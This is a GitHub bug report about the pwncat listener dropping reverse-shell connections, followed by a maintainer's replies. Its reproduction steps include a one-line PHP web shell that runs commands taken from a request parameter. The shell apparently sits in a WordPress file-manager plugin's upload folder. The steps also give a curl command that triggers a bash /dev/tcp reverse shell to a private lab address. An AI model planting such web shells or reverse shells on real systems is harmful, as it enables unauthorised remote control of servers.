connection failed: channel unexpectedly closed
Bug Description
After initiating a reverse shell connection, I receive an error and the shell exits.
pwncat version
OS: Parrot OS
──╼ #pwncat --version
pwncat: Version 0.1.1 (https://github.com/cytopia/pwncat) by cytopia
Target System (aka "victim")
Provide as much detail about the target host as possible. If this is a TryHackMe or Hack The Box or similar machine, please provide the machine name and/or link as well.
Steps to Reproduce
- Create a command execution PHP script:
<?php
echo "<pre>" . shell_exec($_REQUEST['cmd']) . "</pre>";
?>
- Start pwncat listener with
sudo pwncat -lp 441 - Execute a reverse shell by invoking the PHP endpoint:
curl 'http://192.168.43.6/blog/wp-content/plugins/wp-file-manager/lib/files/injnc2.php?cmd=bash%20-c%20%22bash%20-i%20%3E%26%20/dev/tcp/192.168.43.3/441%3E%261%22'
Instead, the connection closes immediately as seen below:
┌─[root@parrot]─[/home/parrot]
└──╼ #pwncat-cs -lp 441
[19:15:38] Welcome to pwncat 🐈! __main__.py:164
bound to 0.0.0.0:441 ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━[19:15:55] connection failed: listener aborted manager.py:957
(local) pwncat$ exit
[19:15:57] closing interactive prompt manager.py:957
Expected Behavior
Receive an active reverse shell.
- I edited your issue because you ignored the template. ~~2. You're in the wrong repo. The version output says as much.~~
I'll have to try and test this, but it might take me a day or two as I haven't touched this project in a long time, and don't have anything setup locally at the moment.
edit: you simply ran the wrong version command. you are using this pwncat. my mistake.
